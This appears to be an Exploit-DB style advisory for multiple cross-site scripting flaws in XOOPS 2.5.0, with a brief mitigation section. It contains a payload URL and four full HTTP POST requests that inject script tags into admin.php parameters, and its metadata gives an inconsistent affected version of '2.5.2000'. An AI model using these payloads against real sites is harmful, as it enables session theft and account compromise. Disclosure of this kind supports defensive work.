Cross-site scripting vulnerabilities in XOOPS

vendor:

XOOPS

by:

Unknown

7.5

CVSS

HIGH

Cross-site scripting (XSS)

CWE

Product Name: XOOPS

Affected Version From: 2.5.2000

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Unknown

Unknown

Cross-site scripting vulnerabilities in XOOPS

The XOOPS application fails to properly sanitize user-supplied input, leading to multiple cross-site scripting vulnerabilities. An attacker can exploit these vulnerabilities to execute arbitrary script code in the context of the affected site, potentially stealing authentication credentials and launching further attacks.

Mitigation:

To mitigate these vulnerabilities, it is recommended to sanitize and validate user-supplied input before using it in the application. Additionally, implementing a Content Security Policy (CSP) can help prevent XSS attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/46916/info

XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

XOOPS 2.5.0 is vulnerable; other versions may also be affected. 

Parameter: module

http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin&op=install&module=pm%3Cimg%20src=a%20onerror=alert%28String.fromCharCode%2888,83,83%29%29%3Eaawe


Parameter: module[]

[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

op=confirm&module%5b%5d=1"><script>alert(1)</script>&submit=Submit&oldname%5b1%5d=System&fct=modulesadmin&newname%5b1%5d=System
[/REQUEST]


Parameter: memberslist_id[]

[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=users&selgroups=2
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 94

memberslist_id%5b%5d="><script>alert(1)</script>&op=action_group&Submit=&selgroups=1&fct=mailusers&edit_group=add_group
[/REQUEST]


Parameter: newname[]

[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

op=confirm&module%5b%5d=1&submit=Submit&oldname%5b1%5d=System&fct=modulesadmin&newname%5b1%5d=System"><script>alert(1)</script>
[/REQUEST]


Parameter: oldname[]

[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

op=confirm&module%5b%5d=1&submit=Submit&oldname%5b1%5d=System"><script>alert(1)</script>1bf8581e3dc&fct=modulesadmin&newname%5b1%5d=System
[/REQUEST]